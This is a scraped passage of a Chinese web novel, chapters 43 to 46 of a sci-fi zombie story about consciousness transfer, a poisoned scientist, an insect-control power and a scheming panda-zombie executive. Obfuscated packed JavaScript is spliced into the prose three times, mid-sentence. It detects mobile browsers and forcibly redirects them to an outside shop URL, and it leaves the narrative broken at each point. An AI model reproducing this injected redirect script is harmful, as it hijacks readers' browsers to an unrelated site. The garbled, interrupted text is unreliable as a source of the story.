“卖掉自己原来的身体,再去换一具更差、更便宜的吗?”青魇虽然不太理解这些高科技的玩意儿,但也经历过穷苦的日子,穷人是怎么过的,他很清楚。 “没错。”医生的视线始终聚焦在仪表盘各项实时数据上,电子眼里的瞳孔像指南针来回摆动,“我之前做过几台类似的手术,有些案例,甚至还没有正式开始意识转移,只是像她现在这样,长时间泡在肉壳松弛剂当中,试图削弱躯壳防御,就发生了意外。” “什么意外?”青魇警觉地问。 “意识遭到躯壳本身残留印记的剧烈攻击。精神错乱,产生无法分辨来源的幻觉,都是轻的。有一个案例,意识体与躯壳印记正面冲撞,当场就消亡了。 “也是那种经常更换意识的躯壳?” “嗯,至少更换过七八次吧。像她这种才更换了四个,意识体就建立起躯壳防火墙的,比较少见。” 听闻意识体有被攻击甚至消亡的风险,青魇顿时不安起来,他一双大手无意识地搓动,明知蚩蓠大概率听不清楚外面的声音,还是忍不住扑倒舱体旁,焦急道:“尸祖大人,这太危险了,我们要不想想别的办法?万一,我是说万一,您这回要是真的出了事,我可怎么办?” 医生冷不丁将那对显微镜义眼扭向青魇,那镜片按理说无法传递任何情绪,可青魇硬是从那冰冷的反光中,读出了明显鄙视的意味。 被分|身看低也不是第一次了,作为一个被分|身背叛过多次的蝙蝠僵尸,他早就不在意这种细枝末节。现在,担忧压过了一切。 青魇越想越不放心:“这么重要的事情,你他爹怎么不早说!不行!”他发了狠,用肩膀猛地一耸,将占据最佳观察位置的医生撞开一个趔趄,双手沉入药剂,就要去托起蚩蓠的肩膀,却见蚩蓠突然双眼一睁,严厉地瞪了回来。 “你的意思是,我跟联邦总统的亡妻长得很像,想要将我的意识转移到其他人的身体里,再把我原本的身体送给总统当礼物?”寒黎严厉地瞪视着眼前的人,她简直不敢相信,含辛茹苦养大的孩子,最后居然为了讨好总统,竟然可以轻描淡写地提出,要牺牲自己的亲生母亲。 “妈,算我求您了,”仇怜央真切地挤出几滴眼泪,“这么多年,我一个人在政坛这个吃人不吐骨头的泥潭里打拼,每一步都如履薄冰。我熬了多少夜,陪了多少笑脸,付出了多少您看不见的代价,才好不容易熬出头,有幸得到总统先生的些许青睐!这不过是让您换一具更年轻、更美貌、更有活力的身体而已,对您没有任何损失,甚至是一种恩赐啊!您为什么就不能理解我,支持我呢?” “恩赐?”寒黎重复着这个词,仿佛听到了世界上最荒谬的笑话,“这是总统的意思?” “他当然不可能直接提出这种无理的要求!”仇怜央的语气带着一种被戳破心思的激动,“他是那么正直、那么体面的人!但是我懂!我能看出来!他看您的眼神不一样,他对您的身体很感兴趣!我这是在帮他,也是在帮我们自己!只要他收下这份‘礼物’,我,还有您的研究,都会得到无法想象的支持!” 眼前信誓旦旦、完全不知羞耻为何物的年轻人,一时叫寒黎觉得陌生无比。她生硬地摇了摇头:“这只是你毫无根据的猜测而已。仇怜央,你完全可以通过更努力、更踏实工作,用真正的能力和政绩来实现你的政治抱负,没必要做这些上不了台面的小动作。我相信总统的为人,他不会接受这份‘礼物’的。” “踏实?努力?”仇怜央像是被这两个词彻底点燃了,龈牙咬紧,积怨多年的情绪如同遇水就崩的山石,在此刻化作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她挣扎着走到镜前,镜子里映出的,已然是一副年轻娇媚却完全陌生的面孔。她左看右看,脑海中一片混沌,却无论如何也看不出任何异常,仿佛自己本该就是这副模样。 她不知道的是,那些唤作“花痴病毒”的毒素随着她日复一日的饮茶,无声无息地没入她的消化道,渗进她的毛细血管,随着血液循环,遍布她的四肢百骸,最终,根植于她的意识体深处。 从此,那个曾经严谨、理性、心怀天下的寒黎,彻底告别了那些复杂的公式、拘谨的容仪、刻板的心态。她变得放浪形骸,游戏人生。英俊的男模,一个又一个不同类型的帅哥,变成了她生活的全部意义和新的征程。 是的,什么登顶技术巅峰,什么造福人类,什么成为一名伟大的女性,统统被她抛在脑后。 从此以后,再没有比征服男人更愉悦、更值得追求的事情了。 如果有,那就是同时睡服三个帅哥。 她凭借着这具依旧美丽且如今充满魅惑的躯壳,让几乎所有她看中的男人都拜倒在金裙之下。除了一个人——舒厌,为此寒黎费尽心思,不惜向仇怜央求助,让儿子给自己安一个生活秘书的由头。 这可把仇怜央高兴坏了,他终究做不出弑母这样残忍的事情,但是从精神上扼杀母亲的灵魂,将她变成一个沉溺于低级欲望的空壳,在他看来,却是完全可以接受的两全其美之策。 除了继续让寒黎饮用含有特殊毒素的茶叶,巩固成果,他还定期以关心母亲身体健康为由,安排全面的身体检查,实则严密监控她意识体的波动情况,以防那属于真正寒黎顽固的本性复苏,想起不该想起的事情。 至于寒黎那些足以改变时代的技术成果和辉煌成就,有了那位鸠占鹊巢且稳居高位的韩教授帮忙运作,在联邦的历史和公众的记忆中,悄无声息地抹杀一个人的过往,实在是一件再容易不过的事情了。 更何况,寒黎年轻时便不喜社交,醉心研究,几乎没有朋友。 而在那个年代,意识转移技术才刚刚兴起,风险极高,真正有勇气和条件尝试的人屈指可数。 随着时间流逝,联邦的权力和资源逐渐被年轻一代势力所取代,再也没有几个人,还记得或者在乎,联邦历史上曾经出现过一位名叫“寒黎”,如同流星般短暂闪耀过,却又迅速陨落的伟大女性了。 43.万虫归宗④ 被蚩蓠的瞪视吓得双手缩回的青魇,不自在地用一边手摸摸头发,另一只手挠挠耳朵,全然不顾甩出来的药剂全部溅在了医生脸上。 医生没有表情地擦了擦脸:“亲,稳重一点成吗?” 向来稳重的青魇点点头,视线依旧没有离开蚩蓠,除了刚才突然睁开眼警告他以外,蚩蓠看上去暂时没有任何异样。 “虽然这不是你主人的本体,但是这样盯着她,你主人醒来之后要是知道了,会不会把你眼睛给挖了?”医生冷不丁地冒出一句凉飕飕的题外话。 要不是医生提醒,青魇根本没有注意到此时的蚩蓠还是赤身裸|体的。 他突然老脸一红,那张虽然历经千年却依旧青涩的脸庞,恐怕扔到学生堆里,也不会有人觉得违和。 “我的主人,也是你的主人。”青魇没好气地瞅了眼医生,“我懂了,你的眼睛就是这么没的吧?” “……换成义眼是为了方便手术。” “不用强行解释。”青魇双手插兜,视线一时不知道往哪里放。 维生舱内,被肉壳松弛剂无死角包裹着的蚩蓠,神色正经历着微妙而迅速的变化,时而愤怒,时而无奈,时而狂喜,时而叹息。 寒黎的过往如同被人为砸碎的蜡像残片,被一阵狂风卷起,拼凑出她原本色泽明艳却最终黯然失色的雕塑。 记忆虽然已经被仇怜央摧毁,可随着寒黎的意识植入这份躯壳,蒙尘的过往竟然在不知不觉间被躯壳吸收,并随着特殊药液的作用,重现蚩蓠的视野。 可紧接着,经历多重情绪变换的蚩蓠突然平静下来,她的眼前赫然立起一道高耸的白墙。她抬头,墙体仿佛生出了意识,随着她的视野不断生长,视线所及已无尽头,蚩蓠不由自主地看向左右两侧,再然后是脚下,白墙的生长比她的视线更快……她转身回头,一堵同样白惨的墙体距离她只剩一臂之距。 蚩蓠被锁在了一个六面立方体之中。 作为一个常年躺在棺材里的僵尸,幽闭恐怖症离蚩蓠很远,相反,这是一种舒适又熟悉的感觉,唯一不太妙的是,棺材里头是黑的,可六面环绕的白墙却亮得刺人。 「喂,喂,测试,测试,能听到我说话吗?」蚩蓠漂浮在白墙之间,想找个相对惬意的姿态躺下来,可不管她朝哪个方位躺,白墙始终与她保持着一臂之距。 她的声音穿梭在墙体之间,并不像在实体墙之间会产生回音,识海中仿佛到处都是海绵,话音一落,万籁俱寂。 「我们都灵肉合一这么久,嗯?得有两个星期了吧,居然跟我保持这么远的距离?是不相信,还是太忌惮我了?」蚩蓠一挥手,想要触碰白墙,可是这个境界中白墙才是主人,强龙不压地头蛇,蚩蓠就算再强大也得服从这里的规则。 它硬是在墙体中形成了一个手臂状的凹坑,以示拒绝。 「你生气了?」蚩蓠放下手,「你气最初的那个主人因为贫穷出卖了你,你气自己帮仇怜央伤害真正的寒黎,你气寒黎用你的身体自甘堕落,气红面具抢走了寒黎,气我又强行抢占了你。」 「你是不是还担心,如果有一天我解封了本体,你还会继续被抛弃。」 没有人回答蚩蓠,她自顾自地说着,墙体却仿佛有了呼吸,正在长长慢慢地舒气。 「如果‘被抛弃’是你最终担心的事情,那么我不得不告诉你,我必须回到本体之中。」 白墙的呼吸变得急促,变得愤怒,它欺身压下,距离蚩蓠极近,却依旧没有触碰她分毫。 蚩蓠笑了:「但是我可以帮助你,不管你选择的是最初的贫穷女孩还是寒黎——我猜红面具你应该不太喜欢,没错吧?我保证,会尽最大的可能找到她,将你,还给她。」 那些纯白明亮的东西方才还凝如实质,在听到“还给你”三个字之后,渐渐消散成一团雾气,水滴状的东西从天空滴落,落在蚩蓠脸上。 白墙消失了。 雾气中走来一团人形白影,没有五官,没有手指之类的细节,轮廓却与梦境中真正的寒黎极其相似。她走进蚩蓠,张开手臂,却在触碰到蚩蓠时再次溃散成一团白雾。与最开始密实如墙的包裹不同,她的拥抱更像一场细密温暖的雨。 「我懂。」蚩蓠闭上眼,感受着绵密水汽的润泽,「寒黎,才是你真正想要的吧。她还在,并没有消失。不要担心。」 当康基因选择寒黎作为切入点,恐怕正是充分了解她过往之后的选择。 寒黎是拔除仇怜央和韩教授这些势力的关键人物,她掌握着支撑整个不夜穹窿存在的技术基础,她的本体说不定还牵扯联邦总统的秘辛,当康基因不可能直接杀死这样一个至关重要的角色。 她的意识必定还活着,被当康基因存放在某处。 至于这具躯壳最初的拥有者,说不定早已在朝不保夕的生活中一次又一次出卖身体,难以寻觅了。 蚩蓠只能看到寒黎的过往,甚至没能窥见贫穷女孩和红面具一丝半点踪迹,这具躯壳与寒黎意识的羁绊之深,可见一斑。 至此,她终于明白它的真正用意。 仿佛交易双方一锤定音,白墙、白雾、绵绵细雨,最终消散无形,天空中缓缓落下一副鲜红滴血的面具,落在蚩蓠手中。 属于虫师的意识和异能,终于向她打开。 虫师,单名一个字红,诞生于六百年前,其血脉归根溯源,同样来自蚩蓠。 这是除了加速异能以外,蚩蓠第一次拥有属于自己的异能。 「万虫归宗」,S级,世间所有节肢动物门不管有没有脑子,都无脑听从于你,不管是天上飞的、地上爬的、寄居在动植物体内的拼命吮吸养分的,只要你一声令下,上刀山,下火海,钻菊花,毫无怨言。 感受到属于红的意志在发挥作用,蚩蓠不禁无语,钻菊花什么鬼? 不过肉壳并没有承载红的记忆,至于她到底经历了什么,原有的躯壳还在何处,这就不得而知了。 蚩蓠猛地睁开眼,没给青魇和医生一点反应,就这么赤|裸|裸的从装满肉壳松弛剂的维生舱里坐了起来。 “衣服。”她毫不在意地指挥青魇帮忙穿衣,完全没发现青魇的脸已经红成了小苹果。 穿好衣服之后,蚩蓠马不停蹄地离开了诊所,头也没回,更别说跟青魇多解释一句或者跟医生说个“谢”字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719785|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生拍拍被抛弃的青魇肩膀:“贤者时间,理解一下。”他递给青魇一根烟,“我不介意你在这里抽,就假装事后潇洒的是你自己吧。” “滚。”青魇绅士正经的一张脸已经变得铁青,“我、我们没有那个过。” “嗯。”医生把烟塞进了自己嘴里,站在门口吹风,“一千多年了,也就你还是个雏。” 蚩蓠骑着摩托车以最大速度疾行在F区主干道,风吹乱了发梢。 头盔前的玻璃罩猛然迎上了一只臭屁虫,随着她心念一动,那土褐色的甲壳一个翻身,滚到了旁边正拼命追赶她的肌肉大块头嘴里。 大块头早在蚩蓠从诊所离开后就相中了她,凌晨两点还在路上飙车的女人,能是什么好女人,而且她胯|下的摩托车性能很一般,本以为一分钟就能搞定,可实际上这场围捕已经将近五分钟了,还没有找到突破口。 他一会儿左一会儿右,一会前一会后,紧咬蚩蓠不放。 “小妹,你要去哪儿?” “跟哥哥比赛呀?” “哟,怎么都不说话呢?再不理人,哥哥可是要生气了哟。” 刚刚张口艰难吞吃了一只臭屁虫的大块头没当回事,还以为只是巧合。没过几秒,不知从哪里舞来几百只蚊子,“嗡嗡嗡”地将他团团围住,大块头以为只要自己开得够快,那些蚊子就追不上他。可不想,因为臭美不戴安全帽的肥脸,这下子彻底暴露在吸血僵尸蚊的口器下。 他的眼皮瞬间鼓起一团大包,因为看不清路线,差点撞上路障,最后一个急转弯,连人带车直接侧飞出去。 摩托车在路边燃起熊火,大块头身上一堆伤不算,最难受最瘙痒难耐的还是那张肥脸,他捂着脸直挠,路边帮忙报警的好心人一看,差点没笑出声。 那张肿胀的脸上,被吸血僵尸蚊硬是用口器刺出了两个血淋淋的大写英文字母。 左脸“S”,右脸“B”。 在时间紧迫的重要关头被无聊的小事打乱节奏,也不能怪青魇的摩托车性能太差,只能怪自己没给够青魇工资,蚩蓠心道,等搞定血晶一号工厂的蟑螂,她必须给青魇一大笔血晶好好奖励奖励。 以防万一被仇怜央查账,就让青魇或者他的分|身在“极乐穹窿”注册一下好了,虽然不是蚩蓠的菜,但以他的外貌,扮演男模应该问题不大。 从F区到达血晶一号工厂,至少跨越了小半个不夜穹窿,就算以最大马力持续不断地开下去,恐怕也没法在凌晨六点前抵达目的地,更别提解决里头的小强了。 也许因为使用的不是红的本体,「万虫归宗」的能力受到了部分限制,蚩蓠现在并不能控制远在中心城区的虫子,实际上,经过刚才跟大块头的测试,她发现自己只能操控“眼见”的虫族。 蚩蓠有些心焦,舒厌的悬浮汽车还停在他的高级公寓里头,不可能用得上。这时候想赶到工厂,怕不是只能抢车了。 就在准备物色具体哪辆车时,一辆黑白相间的改装车疾驰到她身侧,这辆车的前后车身都是黑色的,只有中间部分涂着白漆。 车窗下降,露出一张明显性|冷|淡的脸:“红,你好啊。” 44.万虫归宗⑤ 向蚩蓠打招呼的是一个高挑健壮的女人,即便坐在车里也能看出她体格魁梧,宽敞的SUV驾驶座位中,她蓬松的发顶紧紧挨挤着车篷,几乎被压成了平头。 蚩蓠并没有停下疾驰的摩托。“我很忙。”她不客气地甩给对方三个字。 能叫她“红”的,想必也是当康基因的人,加上这副能轻易将舒厌撕碎的体格,还有那黑白相间的车身,除了黑面具,她想不到还能有谁。 “我可以帮你。”黑面具将车切换到自动驾驶模式,半边身子侧过来,显得诚意十足,“要早知道那是给你准备的肉,我肯定不会动手的,至少会给他留个全尸。” 两辆车都没有减速,就这么保持着并行。 双方都以一个恰好能让对方听到的音量,在狂风中来回轰炸。 蚩蓠眯着眼,即便隔着摩托车安全面罩,也能感受到她周身杀气缭绕:“你还挺贴心。” “那当然了。”黑面具咧开嘴笑道,牙尖轻轻地咬着一块拇指大小的薄薄芯片,“我还等着看你亲自动手呢。” 那芯片承载了仿生人舒厌二十多年记忆,是定义“他是他”的东西。 时速超过150公里,黑面具指头一弹,芯片轻飘飘地向两人车后飞走。蚩蓠眼疾手快,一个急转弯,身体先于思想行动,已经朝芯片所在的位置跳出去一大步。 加速异能生效,飞起在空中的蚩蓠无视惯性的作用,一只手瞬间探到芯片附近,死死握紧那小小脆弱的东西,但又不至于过分用力将其碾碎,触地后,几个轻盈的就地翻转,她稳住身形,居然连点皮外伤都没受。 真没想到,第一次使用加速异能是这种情况。 身|下的摩托车可就惨了,被蚩蓠抛弃后失控撞向路边的防护栏,驱动电池由血晶改装,在剧烈的撞击下爆起一团火焰,很快吞噬了青魇所剩无几的资产。 将防护头盔丢在一旁,蚩蓠看着从改装SUV车上走下来的黑面具,她扬了扬手中芯片,丝毫看不出生气,反而笑道:“谢了,你还算个体面人。” 闻言,黑面具鼓掌,熊掌一般大小的手厚实有力,拍起来不怎么脆响,倒是轰隆隆雷鸣似的。“红,你这性格我太喜欢了。怎么样?要不要考虑当我的女人?” 被这突如其来的霸总告白噎住,蚩蓠差点没咳出声。 “蜗蜗都告诉我了,”黑面具完全无视蚩蓠仿佛吃屎的表情,“早上六点前你就要弄死那些虫子,看你一直往血晶一号工厂的方向开车,我就猜到了,你的异能没法远程操控吧,我可以载你过去。” 被戳破弱点,还在用这么原始落后的摩托车,哪怕是蚩蓠这种情绪稳定的人,耳尖也忍不住微微泛红起来。 “载我过去可以。当你的女人,不行。”蚩蓠将长长的卷发尽可能束高,却还是比黑面具矮了一大截,“你当我的女人还差不多。” 黑面具听懂了她的意思,摇摇头:“我的立场很坚定,改不了。” “那太好了,我也改不了。”蚩蓠满意地点头,“走吧。” 她驾轻就熟地坐上黑面具的副驾驶,顺便在识海中呼唤归零:「这种时候不提醒我黑面具的真实身份,是不是有点太不把我当合作方了?」 归零的响应速度似乎越来越慢了,而且作为一个几乎无所不知的人工智能,总要蚩蓠问一句,它才答一句,对此蚩蓠非常无语。 「抱歉来晚了。我需要时间加载信息……好,查到了。黑面具,本名熊玄素,当康基因首席技术官。异能‘基因手术刀’,本体是一只熊猫,变成僵尸后融合了人类基因,平常以人类相貌生活,只有吸血时才会变回本体。另外,前天晚上她在当康基因总部接待了舒厌和韩青,昨天凌晨在地下实验室肢解了舒厌,重伤韩青。」 「嗯。」蚩蓠悄悄瞥了眼坐回驾驶位的黑面具,也就是熊玄素,「原来本体是熊猫啊,怪不得蛮力那么大,我还以为她还有‘巨力’之类的异能呢。」 似乎除了红以外,当康基因几个重要角色都经过熊玄素操刀。朱康那猪头人身显然融合了猪的基因。 「要是猜的没错,朱康的本体应该是猪吧?应该不会有什么人主动融合猪的基因。」 「你猜的不完全正确。他的本体虽然是猪,但融合的那个人却不是被迫的,是她主动选择了这头猪。刚才在肉壳松弛剂里,你说要找回寒黎,我可以告诉你,僵尸猪融合的这个人,正是寒黎。」 有了类似“全知”这样的人工智能,很多问题不再需要蚩蓠艰难地求索答案,归零可以直接告诉她,正常本来应该是开挂开到飞起的爽感。 可突然得知一直处在幕后指点江山的boss正是她承诺找回的寒黎,而且还是跟一头僵尸猪融合成山丘一样肥大丑陋的寒黎,蚩蓠简直比被泼了一盆凉水还要心寒。 「所以……寒黎根本不是被当康基因谋害,而是主动放弃了我身上的这副躯壳,选择跟朱康融合?」 「是的。虽然我可以获知一切经由网络传递的信息,但也仅仅只限于不夜穹隆内部,城外发生的事情不在我的信息渠道之内。我可以告诉你,寒黎之前跟随舒厌出过城,从城外回来之后就找回了记忆,选择与朱康融合,借用当康基因的势力对抗联邦,让虫师红取代原本的她,都是寒黎主动布局的复仇计划。」 蚩蓠一时沉默,熊玄素只当她个性使然,毕竟酷姐就是这样,想说话就蹦几个字,不想说话就板着脸。 「可是寒黎没有想到,当康真正的幕后boss并不是朱康,而是你身边的熊玄素。」归零的信息一下子给的太密,蚩蓠还没来得及好好消化,这下又差点被噎住。 “咳咳。”蚩蓠没忍住咳了几声。 “不知道哪只猫老是钻到我车里头,还总掉毛,这种看不见的毛容易刺激喉咙,红,你见谅哈。”熊玄素一脸不是我掉的毛的表情,想伸手拍蚩蓠的后背,见她瞬间闪躲,只得悻悻缩回了手。 识海中,归零还在继续:「出于某些原因,我的回复不一定及时,所以能跟你交流的时候,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764719|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会尽可能告诉所有你需要知道的事情。」 「‘我需要知道的事情’……」蚩蓠重复道,「那就是说还有很多我不需要知道的事情。你知道吗?归零,有时候我真的很怀疑你才是终极boss,我只是你实现计划的炮灰棋子而已。」 「等到合适的时机,你会知晓全部。只是希望到了那个时候,你能够原谅我曾经做过的一切。」 归零这话没法不叫人皱眉,偏偏这嫌弃的表情又被熊玄素给捕捉了,还当蚩蓠不愿意让自己触碰,不禁有些受伤,委屈巴巴地说:“红,还在生我的气吗?是我不该撕了那个叫舒厌的仿生人?还是刚才不该逗你,把芯片给扔了?要是今晚任务太紧急的话,我可以向老板求情,晚几天再完成,我现在带你去兜风?” 蚩蓠:…… 这就是幕后boss的任性吗? “我当然希望时间宽限一点,但是老板不会同意的,他不是说越快销毁越好,免得被联邦发现什么猫腻吗?”蚩蓠故意激她,这大个子女人该不会真的要为博红颜一笑搞出点什么昏庸的事情来吧。 “晚几个小时而已,老板不至于那么没有人情味。”熊玄素似乎突然被自己的说法逗笑,大喇喇地哈哈哈哈起来,“说的也是,一头猪怎么会有人情味。” 她无视蚩蓠满脸震惊的表情,在凌晨三点拨通了朱康的加密联系方式,肥大的猪鼻子全息影像在车内浮现,1:10全真缩小还原。 “黑,有急事?”朱康虽然看上去还没睡觉,但显然并不满意这个点还有人联系他。 “老板,红现在跟我待在一块儿。”熊玄素似乎终于找到机会跟蚩蓠肌肤相亲,一把将她揽在怀里,“早上六点前就要弄死那些虫子,老板你还真当我们是牛马啊。” 熊玄素力气太大,蚩蓠差点没被她捂死,她瞪大了眼睛喘着气向朱康求助,没想到朱康却说:“那好,你们两个,注意身体,别玩得太花。红,多给你二十四小时,明天早上六点前,那些蟑螂必须从不夜穹隆消失。” 怎么也没想到今晚会是这种走向,蚩蓠还没来得及应一声“好”,熊玄素直接掐断了跟朱康的视频。 她不是都已经拒绝当熊玄素的女人了嘛,这熊猫怎么还想霸王硬上弓啊? 「她发.情.期到了,」归零适时提醒,「平时不是这个样子的,至少接待舒厌和韩青的时候不是这个样子。」 「什么时候开始发.情.期的?」 「十分钟以前。抱歉,我有急事需要应付,你先想办法逃跑吧。」 「喂!AI能有什么急事啊?!!!你别走!」如果归零有实体,大概已经被蚩蓠拖到地上痛殴一顿了。 蚩蓠凝视着熊玄素那张越逼越近的脸,她不是没有想过要动用尸祖之力的威压,可是对方身上的血气,既不属于蚩蓠,也不来自夜璃。 那是一种更荒蛮更古老的存在,在她与夜璃之外,早在她们叱咤风云乃至陨落之前,熊玄素就已经被这个存在转化成现在的模样了。 45.另一半脑子 “我刚才不是说了嘛,不行!”蚩蓠撑开手掌,用手臂勉力维持着两人之间的距离。 奈何熊玄素力气太大,一臂之距很快被挤成了负五厘米,蚩蓠夹在对方胸口,差点就此死于窒息。 “我……有……对……象了。”她艰难地挤出这几个字,那些明明被拒绝却还要嘴硬的男人最听不得这句话,光告诉对方不喜欢他还不行,非得强调自己已经身心皆有所属,才能让他们善罢甘休。 蚩蓠以为熊玄素也跟某些没有自知之明、把女人当所有物的男人一样,结果这个过分魁梧的女人却不以为意道:“哦,是能源控制署的吗?在卧底的地方有个对象,在家也可以有个对象,不照面就行了。” 她说的“家”应该是指当康基因。 但是不管怎样,蚩蓠终于挣脱了她的熊抱,用零点零一秒思考了一番对策,喘口气飞快的说道:“你的本体是熊猫,早在两位尸祖存在以前,你就被转化了。你根本不是朱康的下属,你才是幕后boss。你要是强我,我就去投奔联邦。” 车内突然陷入一片诡异的寂静。 熊玄素一副吃了解春丹的表情,样子严肃起来,她松开蚩蓠,从车座取出一副眼镜戴上,瞬间变成了那个接待舒厌和韩青的首席技术官的模样。 熊猫果然都是近视眼,哪怕融合了人类基因,变成吸血僵尸也不例外。熊玄素的眼神果然聚焦了不少,她习惯性地撩撩镜框,气质和神态都变得与之前截然不同,笑道:“一口气说这么快,也不担心被噎着。” “没办法,我肺活量大。”蚩蓠报之以同样的微笑。 “一百年一次的发|情|期都被你撞上了,该说你运气太好呢,还是运气太差?” 她突然一把按住蚩蓠的肩膀,却没有发力,偏头仔细端详着属于这副原本属于寒黎的皮囊,仿佛刻意忽略了蚩蓠掀她马甲的行为,话题一转道:“红,我怎么觉得你有点不太对劲。你,有点不像你了。” 从朱康和蜗蜗之前的话语来看,红面具和黑面具应该没有见过面,至少对彼此并不了解,红似乎一直只跟朱康单方面联系,连蜗蜗都不认识她,那熊玄素又是怎么知道红不像红的? 蚩蓠没搭话。 既然熊玄素才是当康基因的boss,抢夺懒人和僵尸舒厌的脑子,还有杀死仿生人舒厌的任务,应该都是她下达的。不过归零也说了,寒黎以为朱康才是boss,因此才选择与之融合,不排除在得知真相之后,另有抱负和打算。 短暂的沉默后,蚩蓠决定表现得像个沉不住气的炮灰,反问道:“你怎么不问我这些都是谁告诉我的?” “呵,”熊玄素从鼻腔深处发出一声毫不在意的嘲讽,“怎么,这么快就想出卖那个告诉你这些事情的人?” “……” 蚩蓠无语了,她本想挑唆熊玄素和朱康的关系,可熊玄素不愧是boss,根本不上套,反倒把她衬得像小丑。 在绝对的实力面前,还没有解封肉|身的蚩蓠不可能硬碰硬,只能想别的办法脱身。 实际上,比起朱康,度过发|情|期的熊玄素反倒看上去正常得多,这样强大的女人,为什么要将其推倒到她的对立面呢,如果能拉拢到自己的阵营,无论是完成归零的要求,还是实现解封的目的,都会顺利很多。 还没等蚩蓠想好怎么说,熊玄素温厚的掌心不轻不重地拍拍她肩膀,直接将她半边身子卡进了座位深处,座椅随之发出不堪重负的“咔咔”声。车外,副驾驶底部的轮胎连同高精钢铁圈长叹一声,泄气成一团肉泥跟地面来了个无死角接吻。 ……这是什么恐怖的巨力怪物!这还是意识清醒之后,蚩蓠第一次觉得自己要完蛋了。 “发什么呆?随便威胁一下你就不说了?红,你刚才不是还挺酷的嘛。” “??”蚩蓠都要给整懵逼了,真是个怪人,她揉揉快要散架的肩胛骨,警惕地看着对方,生怕另一边肩膀还要再挨一次。 “我以为你不想知道。”她阴测测地说。 “嗷,等等,你先别说,让我猜猜。”熊玄素想要捂住蚩蓠的嘴,可这回蚩蓠眼疾手快,侧闪及时,让熊玄素落了空。 她似乎生怕蚩蓠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811915|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将答案说出口,抢先一步道:“肯定是朱康。” “不是。”蚩蓠立马否定。 在刚才急转的追问中,她推翻了之前的挑唆计划。 熊玄素的异能是「基因手术刀」,寒黎与曾经的朱康融合为新朱康,必然是她的手笔,蚩蓠都能猜到新朱康恐有异心,熊玄素怎么可能想不到,搞不好这正是她深谋远虑的规划之一。 蚩蓠偏要反其道而行之,反正当下活命要紧,吊着熊玄素胃口才不至于马上丢掉小命。 “那就是蜗蜗,他什么时候这么聪明了?虽然我在老板面前比较嚣张,但他也不应该光凭这点就推断出我的真实身份啊?” “……也不是他。” “什么?也不是蜗蜗,还能有谁?” 蚩蓠突然开始怀疑这人能当上boss并非深谋远虑,可能纯属肌肉属性过分强大而已。 毕竟当实力厉害到一定程度时,有些人是不屑于搞这些弯弯绕绕的。 她露出一个神秘兮兮的笑容,煞有介事地压低嗓音:“我只能告诉你,是联邦的人告诉我的。” 这话倒也没错,归零可不就是联邦研发的人工智能么。 “联邦的人……”熊玄素用右拳头一锤左手掌,“哎呀,本来还想偷个懒,指望着朱康帮忙干掉墨玄,这么快就被这老滑头知道我的底细,可还了得。” 墨玄是联邦政府第一大总统,说是第一大,是因为联邦连个副总统都没有,诸如仇怜厌之类的重要机构负责人直接向墨玄汇报,层级不可谓不扁平,权力不可谓不集中。 对此蚩蓠不置可否,她看似不情不愿地恭维道:“知道了又怎么样,三两下就将猎尸队最强战力撕成碎片,你会怕一个没有异能的联邦总统不成?” “你也太小看他了吧。”熊玄素打开车门,招呼蚩蓠一并出来,“蟑螂的事情你暂时不用管了,跟我去偷一件东西。” “什么东西?”蚩蓠困得眼睛都快睁不开了,这一晚上的,就不能消停点嘛,可恶的资本家。 “僵尸舒厌的另一半脑子。”熊玄素悠悠地说。 46.基因手术刀① “什么?!” 熊玄素扔给还愣在原地的蚩蓠一件外套:“光学迷彩,电视上有的,我照样子模仿了几件,可以无视智能监控和热感应,怎么样,美吧?” 蚩蓠接过,与其说外套,不如说紧身衣更合适些,料子跟丝绸很接近,泛着五彩斑斓的白。 “就在这儿换吧,这儿没监控。”熊玄素边说边脱衣服,也不管蚩蓠想不想看。 这一路的确没有几个行人,甚至连驶过来车都不见一辆,蚩蓠倒不是矫情,只是想到刚才还处在发|情|期的熊玄素,以及她对女性过分宠爱的偏好,心理总有几分膈应。 熊玄素衣服还没穿好,瞅了眼智脑说:“时间刚刚好,来,姐给你表演个魔术,嘘——来了,一——二——三!嘣!” 就在第三声落音时,整条街道包括零星亮灯的居民楼,全部陷入一片不见五指的漆黑。 一滴叫做无语的冷汗从蚩蓠额头滑了下来:“……尸祖被盗之后,电力供应不上,C区以外的城区凌晨三点半统一熄灯,我现在潜伏在能源控制署,不会不知道这点。” “不管是做人还是做熊,得有点幽默感。”熊玄素依旧光着上半身,凑近蚩蓠耳朵说。 